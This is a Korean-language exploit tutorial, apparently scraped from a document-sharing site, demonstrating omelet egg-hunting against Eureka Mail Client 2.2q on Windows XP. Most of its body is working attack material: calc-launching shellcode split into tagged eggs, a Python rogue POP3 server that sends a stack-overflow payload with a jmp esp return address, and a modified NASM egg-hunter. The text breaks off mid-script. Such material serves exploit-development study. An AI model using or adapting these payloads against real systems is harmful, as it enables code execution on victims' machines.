Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Similar documents
Eureka Mail Client_v2.2.q를이용하여에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugger

Deok9_Exploit Technique

hlogin2

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

Microsoft Word - building the win32 shellcode 01.doc

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

=

[8051] 강의자료.PDF

hlogin7

Microsoft PowerPoint - a9.ppt [호환 모드]

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

PowerPoint Template

CKKeyPro 적용가이드

No Slide Title

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft PowerPoint - a8a.ppt [호환 모드]

/* */

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

Microsoft PowerPoint - a6.ppt [호환 모드]

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

PowerPoint 프레젠테이션

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Microsoft PowerPoint - a10.ppt [호환 모드]

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

Microsoft Word - GOM-StackOverFlow.doc

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

Microsoft Word - Static analysis of Shellcode.doc

Microsoft PowerPoint - hy2-12.pptx

Cogame 취약점 보고

Microsoft Word - FunctionCall

Microsoft Word - Heap_Spray.doc

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

취약점분석보고서 [Photodex ProShow Producer v ] RedAlert Team 안상환

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

<BEEEBCC0BAEDB8AEBEEEC1A4B8AE2E687770>

Microsoft Word - FreeBSD Shellcode 만들기.docx

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

취약점분석보고서 [Elecard AVC_HD/MPEG Player 5.7 Buffer Overflow] RedAlert Team 봉용균

ActFax 4.31 Local Privilege Escalation Exploit

Heap Overflow By WraithOfGhost

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Table Of Contents 1/7 0. Introduction 0-1. Introduction 0-1. Testing Environment 1. Software Vulnerabilty Review 1-1. Buffer OverFlow 1-2. Format Stri

Microsoft Word - Exploit writing tutorial part 1.doc

Microsoft PowerPoint - chap01-C언어개요.pptx

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

1.hwp

Chapter 4. LISTS

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

3.20 테러 악성코드바이너리분석 손충호 (StolenByte) WOWHACKER Group 해당문서는 WOWHACKER Group 의문서이므로, 무단도용및수 정및변조는할수없습니다. 페이지 1 / 20

Return-to-libc

(SW3704) Gingerbread Source Build & Working Guide

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Evernote Export

강의10

Exploit writing tutorials

Microsoft PowerPoint - a5a.ppt [호환 모드]

<BDC3B8AEBEF320B9F8C8A320C0DBBCBA20B7E7C6BEC0BB20BBCCBEC6B3BBBCAD D466F E687770>

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

IDA 5.x Manual hwp

Microsoft Word - FS_ZigBee_Manual_V1.3.docx

hd1300_k_v1r2_Final_.PDF

일반적인 네트워크의 구성은 다음과 같다

슬라이드 1

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

PowerPoint 프레젠테이션

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex

Microsoft Word - MS_rshd_exploit.doc

자바-11장N'1-502

AsProtect MUP

Codegate Preliminary Match Repot

how_2_write_Exploit_4_the_MSF_v3.x.hwp

Computer Architecture

Chapter ...

KNK_C_05_Pointers_Arrays_structures_summary_v02

Microsoft Word - SEH_Overwrites_Simplified.doc

Microsoft Word - ExecutionStack

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

History

PowerPoint 프레젠테이션

Microsoft PowerPoint Android-SDK설치.HelloAndroid(1.0h).pptx

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

Microsoft PowerPoint - 00_(C_Programming)_(Korean)_Computer_Systems

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - 1. ARM Assembly 실습_xp2.doc

금오공대 컴퓨터공학전공 강의자료

BOF Foundation.doc

Microsoft Word - readme.doc

게시판 스팸 실시간 차단 시스템

문서개정이력 개정번호개정사유및내용개정일자 1.0 최초작성 본문서는원문작성자 (Peter Van Eeckhoutte) 의허가하에번역및배포하는문서로, 원문과관련된모든내용의저작권은 Corelan에있으며, 추가된내용에대해서는 ( 주 ) 한국정보보호교육센터에

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft Word - ANI 취약점.doc

SRC PLUS 제어기 MANUAL

Transcription:

익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg 1.x, Immunity Debugger 익스플로잇실습에앞서오믈렛에그헌팅의전반적인내용에대하여간단 하게설명하고자한다. 오믈렛에그헌팅은공격자가사용할수있는메모리영역이스택의 크기에비하여너무작고, 공격자가제어할수있는영역은작은공간으로이루어진메모리조각일때사용하는기법이다. 이런상황에서는쉘코드를오믈렛에그헌팅이라는쉘코드단편화기술을이용하여실행시킬수있다. 좀더자세히설명하면공격자는실제쉘코드를여러개의작은조각으로나눈뒤, 조각들을메모리로옮기고모든에그를검색하는헌터코드를실행시키면서쉘코드를재조합하여실행시킨다. 따라서기본개념은일반에그헌터와동일하지만다음과같은차이점이존재한다. - 최종쉘코드가여러조각으로나뉘어짐 ( 여러개의에그 ) - 최종쉘코드가실행되기전에재조합됨 ( 발견즉시실행되지않음 ) 실제쉘코드를여러조각으로나누어야하는것처럼에그또한마찬가지로나누어야하는데각에그는다음의내용을포함하는에더가있어야한다. - 에그의길이 - 인덱스숫자 ( 에그의총개수를알기위함 ) - 3 바이트대커 ( 에그를찾기위함 ) 오믈렛쉘코드는실행되면서메모리를검색하여모든에그를찾아내고스택의 bottom 부분에재조합된오리지널쉘코드를복사한뒤점프하여실행한다. Skylined에의해작성된오믈렛코드는메모리를읽을때발생하는접근위반 Access_Violation 을처리하기위해사용자 SEH 핸들러에삽입된다. 다행히쉘코드를작은에그로나누고오믈렛코드를생상하는프로세스를자동화하는스크립트 1) 를제공하기때문에해당스크립트를이용하여비교적쉬운공격이가능하다. 1) https://code.google.com/archive/p/w32-seh-omelet-shellcode/downloads

다운을받고압축을푼뒤 nasm 을이용하여바이너리파일을컴파일한다. C:\omelet > "c:\program Files\nasm\nasm.exe" -f bin -o w32_omelet.bin w32_seh_omelet.asm -w+error 그다음오믈렛에그헌터코드를실행시켜야하는데, 우선쉘코드를포함하고있는바이너리파일을생성해야한다. # calc shellcode calc = "\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49\x49\x49\x 49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\ x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41 \x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70\x43\x30\x65\x30\x6 b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46\x50\x6e\x6b\x56\x 32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x48\x34\x4f\x6f\x47\x 51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\ x4c\x66\x62\x36\x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42 \x4a\x50\x72\x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x4 6\x61\x4a\x70\x6e\x6b\x31\x50\x50\x78\x6b\x35\x39\x50\x54\x34\x62\x6a\x67\x 71\x4e\x30\x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\ x6a\x73\x5a\x43\x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36 \x51\x39\x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67 \x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b\x48\x47\x4b\x51\x6d\x4 6\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x74\x35\x51\x59\x43\x65\x 36\x6c\x4b\x36\x6c\x52\x6b\x6e\x6b\x42\x78\x47\x6c\x63\x31\x48\x53\x6e\x6b\ x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x34\x64\x56\x44\x63\x6b\x53 \x6b\x43\x51\x61\x49\x43\x6a\x66\x31\x4b\x4f\x4b\x50\x31\x48\x71\x4f\x33\x6 a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x7a\x76\x61\x6c\x4d\x6e\x65\x 4f\x49\x37\x70\x67\x70\x63\x30\x72\x70\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x 37\x39\x6f\x38\x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x 4d\x45\x6d\x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\ x50\x49\x6b\x6b\x50\x64\x35\x67\x75\x6f\x4b\x72\x67\x57\x63\x71\x62\x62\x4f \x30\x6a\x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x4 4\x6e\x70\x65\x32\x58\x32\x45\x65\x50\x41\x41" f = open("shellcode.bin", "wb") f.write(calc) f.close() 위파이썬스크립트를실행하면계산기를실행하는총 462 바이트의쉘코드가 shellcode.bin 바이너리파일에삽입된다.

이제쉘코드를에그로전환해야한다. 공격자가확보한여러개의메모리공간이각각최대 130 바이트라고가정한다. 그러면 462 바이트코드를최소 4개로나누어야한다. 참고로각에그의최대허용치는 127 바이트로설정한상태이다. 또한마커 (6 바이트 ) 필요한데, 마커는 0xBADA55 를사용한다. 명령어을실행하면결과파일로 calceggs.txt 파일이생성되며다음과같은내용을포함한다. - 오믈렛에그헌터코드 - 4 개로나누어진각에크의코드 각에그를살펴보면다음과같은구조로되어있는것을볼수있다. - 첫 5바이트는사이즈를의미함 ( 0x7A = 122 ) - 인덱스 ( 0xFF, 0xFE, 0xFD, 0xFC ) - 마커 ( 0x55DABA -> 0xBADA55 ) * 122( 나뉜에그코드길이 ) + 5( 헤더길이 ) = 127( 각에그최대길이 ) 바이트 - 마커다음의코드는오리지널쉘코드의일부 - 마지막에그에서남은공간은 0x40 으로채워짐 ( 일종의패딩 )

calceggs.txt 파일에있는쉘코드를 Eureka 클라이언트를공격하는파이썬스크 립트코드를다음과같이만들수있다. import sys,socket,struct omelet_code = "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\xfe\xad\x35 \xff\x55\xda\xba\x83\xf8\x04\x77\x0c\x59\xf7\xe9\x64\x03\x42\x08\x97\xf3\ xa4\x89\xf7\x31\xc0\x64\x8b\x08\x89\xcc\x59\x83\xf9\xff\x75\xf8\x5a\xe8\x CA\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D\xFF\x0F\x40\x78\x03\x97\xEB\x DE\x31\xC0\x64\xFF\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49 \x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x5 8\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x 41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x49\x6C\x78\x68\x4D\x59\x67\x70\x77 \x70\x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x4 2\x46\x50\x6E\x6B\x56\x32\x36\x6C\x4E\x6B\x53\x62\x66\x74\x6C\x4B\x33\x42\ x36\x48\x34\x4f\x6f\x47\x51\x5a\x75\x76\x75\x61\x39\x6f\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36 \x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\ x72\x33\x67\x6c\x4b\x76\x32\x76\x70\x6c\x4b\x53\x72\x35\x6c\x46\x61\x4a\x7 0\x6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\ x30\x50\x6c\x4b\x52\x68\x35\x48\x6e\x6b\x70\x58\x51\x30\x43\x31\x6a\x73\x5 A\x43\x55\x6C\x43\x79\x6C\x4B\x37\x44\x4C\x4B\x37\x71\x69\x46\x36\x51\x39\ x6f\x46\x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67"; egg2 = "\x7a\xfd\x55\xda\xba\x46\x58\x79\x70\x43\x45\x4b\x44\x77\x73\x31\x6d\x4b \x48\x47\x4b\x51\x6d\x46\x44\x50\x75\x39\x72\x30\x58\x6c\x4b\x53\x68\x75\x 74\x35\x51\x59\x43\x65\x36\x6C\x4B\x36\x6C\x52\x6B\x6E\x6B\x42\x78\x47\x6C \x63\x31\x48\x53\x6e\x6b\x63\x34\x4e\x6b\x56\x61\x7a\x70\x6c\x49\x73\x74\x 34\x64\x56\x44\x63\x6B\x53\x6B\x43\x51\x61\x49\x43\x6A\x66\x31\x4B\x4F\x4B \x50\x31\x48\x71\x4f\x33\x6a\x6c\x4b\x32\x32\x48\x6b\x6e\x66\x31\x4d\x51\x 7A\x76\x61\x6C\x4D\x6E\x65\x4F\x49\x37\x70\x67\x70\x63\x30\x72\x70"; egg3 = "\x7a\xfc\x55\xda\xba\x70\x68\x44\x71\x4e\x6b\x32\x4f\x6b\x37\x39\x6f\x38 \x55\x4f\x4b\x7a\x50\x6d\x65\x6c\x62\x70\x56\x55\x38\x6f\x56\x4d\x45\x6d\ x6d\x6f\x6d\x39\x6f\x4b\x65\x55\x6c\x74\x46\x63\x4c\x55\x5a\x6d\x50\x49\x 6B\x6B\x50\x64\x35\x67\x75\x6F\x4B\x72\x67\x57\x63\x71\x62\x62\x4F\x30\x6A \x57\x70\x36\x33\x69\x6f\x68\x55\x73\x53\x61\x71\x72\x4c\x30\x63\x44\x6e\x7 0\x65\x32\x58\x32\x45\x65\x50\x41\x41\x40\x40\x40\x40\x40\x40\x40\x40\x40\x 40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40\x40";

ip = "192.168.100.90" pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dl nops = "\x90" * 500 ex = junk + ret + omelet_code + nops + egg0 + nops + egg1 + nops + egg2 + nops + egg3 payload = "-ERR" + ex print "Payload Lengths : %d bytes" % len(ex) print "Omelet Code Lengths : %d bytes" % len(omelet_code) print "Egg 0 Lengths : %d bytes " % len(egg0) print "Egg 1 Lengths : %d bytes " % len(egg1) print "Egg 2 Lengths : %d bytes " % len(egg2) print "Egg 3 Lengths : %d bytes " % len(egg3) print "=================================================" s = socket.socket(socket.af_inet, socket.sock_stream) s.bind((ip, pt)) s.listen(5) print "[*] Listening on tcp port 110" print "[*] Configure Eureka mail Client to connect to this host" while True: print "Waiting for connection..." conn,addr = s.accept() print "Connected by", addr while True: print "Sending Payload" conn.send(payload) print "Send %d bytes" % len(payload) 스크립트를실행한뒤페이로드를실행시킨다.

접근위반 Access Violation 오류가발생했는데, 자세히보면오믈렛코드의첫번째 명령어가 0x0000000 를 EDI 레지스터삽입하는것을볼수있다. * 페이로드에서오믈렛쉘코드의처음 2 바이트 = 0x31 0xFF = XOR EDI, EDI 해당주소에있는내용을읽으려고했기때문에접근위반이발생한것인데, 코드가접근위반을처리하기위해 SEH 인젝션을이용헀음에도불구하고예외가 발생하여공격이실패한것이다. 리턴주소로사용한 0x77CF10B1(jmp esp) 주소에 bp 를설치한뒤다시페이로드를 실행한다. ESP 레지스터로분기할때어떤레지스터도가져다쓰지않는것을볼수있다. 여기서문제가발생하는것이다.

다시메모리에서에그위치를찾는것부터시작해야한다. 그리고위레지스터 중하나를이용하여 EDI 레지스터에다른시작주소를삽입해야한다. 따라서 에그가위치한곳을알아내서오믈렛코드를제대로작동시켜야한다. 우선 4개로나뉜에그코드를바이너리파일로써야한다. 이전에사용했던파이썬스크립트중간쯤다음과같은코드를추가한다. f0 = open("c:\\egg0.bin", "wb") f0.write(egg0) f0.close() f1 = open("c:\\egg1.bin", "wb") f1.write(egg1) f1.close() f2 = open("c:\\egg2.bin", "wb") f2.write(egg2) f2.close() f3 = open("c:\\egg3.bin", "wb") f3.write(egg3) f3.close() 그리고이전에설치한 bp에서현재멈춘상태이기때문에 mona 플러그인을이용하여다음과같은명령어를실행한다.!mona compare f c:\egg0.bin

!mona compare f c:\egg1.bin!mona compare f c:\egg2.bin

!mona compare f c:\egg3.bin 각에그의정보를정리하면다음과같다. 에그인덱스에그주소 영역변조여부 egg0 0x0012d9e9 스택 변조되지않음 0x00473cb8 어플리케이션 변조되지않음 0x004749a1 어플리케이션 변조되지않음 0x0047555b 어플리케이션 변조되지않음 egg1 0x0012dc5c 스택 변조되지않음 0x00473f2b 어플리케이션 변조되지않음 0x00474c14 어플리케이션 변조되지않음 0x004757ce 어플리케이션 변조되지않음 egg2 0x0012decf 스택 변조되지않음 0x0047419e 어플리케이션 변조되지않음 0x00474e87 어플리케이션 변조되지않음 0x00475a41 어플리케이션 변조되지않음 egg3 0x00473728 어플리케이션 변조되지않음 0x00474411 어플리케이션 변조되지않음 재밌는점은어플리케이션영역을기준으로 egg3 egg0 egg1 egg2 순서로 적재되어있다는점이다. 레지스터중에어플리케이션주소를기준으로제일앞에있는 egg3 이전에 위치한레지스터를선택해야하는데, EDI 레지스터가적당한값을가지고있다.

따라서 EDI 값을조정하여공격자가만든오믈렛헌터를가리키에만들어야 한다는것을의미한다. 페이로드에서제일앞에있는 2 개의바이트를 NOP 으로 변경한다. 변경전 : "\x31\xff\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 변경후 : "\x90\x90\xeb\x23\x51\x64\x89\x20\xfc\xb0\x7a\xf2~~~~ 수정된페이로드를기반으로하여다시실행한다. 이때 bp 는 jmp esp 에설치 해야한다. 이뮤니티디버거가 jmp esp 에서멈춘뒤 F7 을통해트레시잉을하면위사진처럼 변경된명령어를볼수있다. 참고로오믈렛코드는어셈블리명령어 REPNE SCAS BYTE PTR ES:[EDI] 를이용하여에그가발견될때까지계속실행된다. 어플리케이션메모리영역을기준으로제일앞에있는 egg3 의첫번째복제된 코드는 0x00473728 주소에존재한다. 트레이싱을하다보면위사진과같은코드영역을볼수있는데, 영역에서 0012CD77 REPNE SCAS BYTE PTR ES:[EDI] 반복명령어를통해태그를검색한뒤, 태그가검색되면스택위치를계산하고태그다음에위치한쉘코드를 0012CD8F REP MOVS BYTE PTR ES:[EDI], BYTE PTR DS:[ESI] 명령을통해 EDI 레지스터에서가리키는주소 (0012216E) 에복사한다.

현재 ESI 레지스터가 0047372D 를가리키고있고해당주소는 egg3의시작주소이다. 따라서이전에설명한것처럼헤더 5 바이트를건너뛰고다음주소 (0x00473732) 에서시작하는쉘코드를복사한다. egg3이복사가완료되면이전에말했듯이적재되어있는순서 ( 3->0->1->2) 로복사된다. 복사작업은모든에그를찾아위사진처럼스택에복사할때까지계속되는데, 문제는모든에그를복사하여도오믈렛코드는검색을중단하지않고계속검색하기때문에다음사진에서 EDI 레지스터주소에접근하면서접근위반오류가발생한다.

뭐가문제인지알아보기위해우선메모리에위치한쉘코드가제대로복사된것인지먼저검증을할것이다. 이작업은이전에오믈렛코드를만들때사용한 shellcode.bin 바이너리를이용할수있다. 이뮤니티디버거에서!mona compare f c:\shellcode.bin 명령어를실행하여변조여부를확인할수있다. 명령어결과를보니계산기를띄우는쉘코드가총 5 곳에복사되었는데그중 유일하게 0x00123000 주소의쉘코드만변조되지않은것을볼수있다. 그럼이제오믈렛코드를수정해야한다. 일단메모리에변조되지않은쉘코드가존재하기때문에오믈렛코드를수정하여에그를찾은검색을중단시켜접근위반오류를해결하면된다. 이를위해서레지스터하나를이용하여에그가검색작업을수행해야하는횟수를기록하고, 해당레지스터가에그복사가완료된것을알아내면쉘코드로점프하도록만들면된다. 즉, 오믈렛코드의시작을발견하는변수와에그개수를확인하는데사용할 카운터변수값을이용해야한다. * 0 0xFFFFFFFF 에그개수 + 1 == 에그가 4 개라면 => 0xFFFFFFFC 일단이전에디버거에서오믈렛코드를조사했을때 EBX 레지스터가사용되지않고있음을알았기에해당레지스터를이용할것이다. 변경하고자하는오믈렛코드는다음의내용이추가된다. - 에그가발견될때마다카운터변수값을하나씩증가함 - 카운터변수값이 0xFFFFFFFF 이되면모든에그가발견되었음을의미 - 모든에그가발견되면검색작업을중단하고쉘코드로점프 이런내용을기반으로쉘코드작성에사용된 nasm 바이너리를다음과같이 변경한다. ( 변경된곳은빨간색글씨로표시함 )

BITS 32 ; egg: ; LL II M1 M2 M3 DD DD DD... (LL * DD) ; LL == Size of eggs (same for all eggs) ; II == Index of egg (different for each egg) ; M1,M2,M3 == Marker byte (same for all eggs) ; DD == Data in egg (different for each egg) marker equ 0x280876 egg_size equ 0x4 max_index equ 0x2 start: mov ebx,0xffffffff-egg_size+1 ; EBX = counter value jmp SHORT reset_stack create_seh_handler: PUSH ECX ; SEH_frames[0].nextframe == 0xFFFFFFFF MOV [FS:EAX], ESP ; SEH_chain -> SEH_frames[0] CLD ; SCAN memory upwards from 0 scan_loop: MOV AL, egg_size ; EAX = egg_size egg_size_location equ $-1 - $$ REPNE SCASB ; Find the first byte PUSH EAX ; Save egg_size MOV ESI, EDI LODSD ; EAX = II M2 M3 M4 XOR EAX, (marker << 8) + 0xFF ; EDX = (II M2 M3 M4) ^ (FF M2 M3 M4) == egg_index marker_bytes_location equ $-3 - $$ CMP EAX, BYTE max_index ; Check if the value of EDX is < max_index max_index_location equ $-1 - $$ JA reset_stack ; No -> This was not a marker, continue scanning POP ECX ; ECX = egg_size IMUL ECX ; EAX = egg_size * egg_index == egg_offset ; EDX = 0 because ECX * EAX is always less than 0x1,000,000 ADD EAX, [BYTE FS:EDX + 8] ; EDI += Bottom of stack == position of egg in shellcode. XCHG EAX, EDI

copy_loop: REP MOVSB ; copy egg to basket CM EBX,0xFFFFFFFF ; if all egg is found JE done ; then jmp to shellcode INC EBX ; or keep finding egg MOV EDI, ESI ; EDI = end of egg reset_stack: ; Reset the stack to prevent problems cause by recursive SEH handlers and set ; ourselves up to handle and AVs we may cause by scanning memory: XOR EAX, EAX ; EAX = 0 MOV ECX, [FS:EAX] ; EBX = SEH_chain => SEH_frames[X] find_last_seh_loop: MOV ESP, ECX ; ESP = SEH_frames[X] POP ECX ; EBX = SEH_frames[X].next_frame CMP ECX, 0xFFFFFFFF ; SEH_frames[X].next_frame == none? JNE find_last_seh_loop ; No "X -= 1", check next frame POP EDX ; EDX = SEH_frames[0].handler CALL create_seh_handler ; SEH_frames[0].handler == SEH_handler SEH_handler: POPA ; ESI = [ESP + 4] -> struct exception_info LEA ESP, [BYTE ESI+0x18] ; ESP = struct exception_info->exception_address POP EAX ; EAX = exception address 0x???????? OR AX, 0xFFF ; EAX = 0x?????FFF INC EAX ; EAX = 0x?????FFF + 1 -> next page JS done ; EAX > 0x7FFFFFFF ===> done XCHG EAX, EDI ; EDI => next page JMP reset_stack done: XOR EAX, EAX ; EAX = 0 CALL [BYTE FS:EAX + 8] ; EDI += Bottom of stack == position of egg in shellcode. db db db marker_bytes_location max_index_location egg_size_location 위와같이수정된어셈코드를다시컴파일하여수정된에그코드를생성한다.

새로생성된 calceggs.txt 내용을기반으로공격에사용하는파이썬스크립트 파일을다음과같이변경한다. import sys,socket,struct ip = "192.168.100.90" pt = 110 junk = "A" * (724 - len(ip)) ret = struct.pack('<l', 0x77CF10B1) # RET Addr = jmp esp on user32.dll omelet_code = "\xbb\xfc\xff\xff\xff\xeb\x29\x51\x64\x89\x20\xfc\xb0\x7a\xf2\xae\x50\x89\ xfe\xad\x35\xff\x55\xda\xba\x83\xf8\x04\x77\x12\x59\xf7\xe9\x64\x03\x42\x0 8\x97\xF3\xA4\x83\xFB\xFF\x74\x25\x43\x89\xF7\x31\xC0\x64\x8B\x08\x89\xCC\x 59\x83\xF9\xFF\x75\xF8\x5A\xE8\xC4\xFF\xFF\xFF\x61\x8D\x66\x18\x58\x66\x0D \xff\x0f\x40\x78\x03\x97\xeb\xde\x31\xc0\x64\xff\x50\x08"; egg0 = "\x7a\xff\x55\xda\xba\x89\xe7\xda\xd4\xd9\x77\xf4\x5b\x53\x59\x49\x49\x49\ x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\ x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\ x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49\x6c\x78\x68\x4d\x59\x67\x70\x77\x70 \x43\x30\x65\x30\x6b\x39\x5a\x45\x76\x51\x59\x42\x52\x44\x6e\x6b\x71\x42\x46 \x50\x6e\x6b\x56\x32\x36\x6c\x4e\x6b\x53\x62\x66\x74\x6c\x4b\x33\x42\x36\x4 8\x34\x4F\x6F\x47\x51\x5A\x75\x76\x75\x61\x39\x6F\x45\x61"; egg1 = "\x7a\xfe\x55\xda\xba\x79\x50\x6c\x6c\x67\x4c\x70\x61\x53\x4c\x66\x62\x36\ x4c\x57\x50\x5a\x61\x7a\x6f\x46\x6d\x63\x31\x5a\x67\x4a\x42\x4a\x50\x72\x7 2\x33\x67\x6C\x4B\x76\x32\x76\x70\x6C\x4B\x53\x72\x35\x6C\x46\x61\x4A\x70\x 6E\x6B\x31\x50\x50\x78\x6B\x35\x39\x50\x54\x34\x62\x6A\x67\x71\x4E\x30\x30\x 50\x6C\x4B\x52\x68\x35\x48\x6E\x6B\x70\x58\x51\x30\x43\x31\x6A\x73\x5A\x43\ x55\x6c\x43\x79\x6c\x4b\x37\x44\x4c\x4b\x37\x71\x69\x46\x36\x51\x39\x6f\x46 \x51\x4f\x30\x4e\x4c\x4f\x31\x5a\x6f\x64\x4d\x37\x71\x5a\x67";

